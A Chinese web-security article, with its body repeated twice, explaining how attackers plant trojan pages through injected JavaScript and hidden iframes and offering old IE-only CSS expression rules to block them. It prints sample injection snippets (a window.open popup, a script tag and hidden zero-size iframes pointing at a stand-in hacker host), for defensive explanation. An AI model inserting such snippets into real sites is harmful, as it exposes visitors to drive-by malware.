防止网站被JS,iframe挂马的防范方法
网络安全 2021-07-03 09:36www.168986.cn网络安全知识
这种方法使用的关键代码如下
window.open("http://.hacker./木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,设置为0后,可能会出现恶意代码不运行的情况。
一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入
<script src="http://.hacker./木马脚本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地将木马挂到了对方的网页中了。
小提示黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为
<div style="behaviour: url(http://.hacker./木马脚本.js);">
或者
<iframe src="vbscript:[挂马脚本]">
等等……
防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。
所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
让JS木马的进程迅速中止
在 <head> </head> 之间加入如下代码:
屏蔽script和iframe
<style type="text/css" id="LinrStudio">
/<![CDATA[/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/]]>/
</style>
单屏蔽script
<style type="text/css" id="LinrStudio">
/<![CDATA[/
/iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/]]>/
</style>
上面的代码经狼蚁SEO测试,代码是根据查找http一般情况下大家写的js路径,是带有域名的,例如狼蚁SEO使用的就是http://img.jb51./1.js那么也是无法运行的,所以上面的代码有一定的局限性。大家可以根据需要修改。
例如我们的地址都是img.jb51.那么可以写成
script{ngz1:expression((this.src.indexOf('jb51.')==-1)?document.close():'');}
那么我们需要的就是将我们所以的js都写成带http://img.jb51.的。如果你有更好的方法可以发布下。狼蚁网站SEO优化是我们给出的可能需要多重判断
script{ngz1:expression(((this.src.indexOf('jb51.')==-1)&&this.src.indexOf('http')==0)?document.close():'');}
window.open("http://.hacker./木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,设置为0后,可能会出现恶意代码不运行的情况。
一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入
<script src="http://.hacker./木马脚本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地将木马挂到了对方的网页中了。
小提示黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为
<div style="behaviour: url(http://.hacker./木马脚本.js);">
或者
<iframe src="vbscript:[挂马脚本]">
等等……
防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。
所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
让JS木马的进程迅速中止
在 <head> </head> 之间加入如下代码:
屏蔽script和iframe
<style type="text/css" id="LinrStudio">
/<![CDATA[/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/]]>/
</style>
单屏蔽script
<style type="text/css" id="LinrStudio">
/<![CDATA[/
/iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/]]>/
</style>
上面的代码经狼蚁SEO测试,代码是根据查找http一般情况下大家写的js路径,是带有域名的,例如狼蚁SEO使用的就是http://img.jb51./1.js那么也是无法运行的,所以上面的代码有一定的局限性。大家可以根据需要修改。
例如我们的地址都是img.jb51.那么可以写成
script{ngz1:expression((this.src.indexOf('jb51.')==-1)?document.close():'');}
那么我们需要的就是将我们所以的js都写成带http://img.jb51.的。如果你有更好的方法可以发布下。狼蚁网站SEO优化是我们给出的可能需要多重判断
script{ngz1:expression(((this.src.indexOf('jb51.')==-1)&&this.src.indexOf('http')==0)?document.close():'');}
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座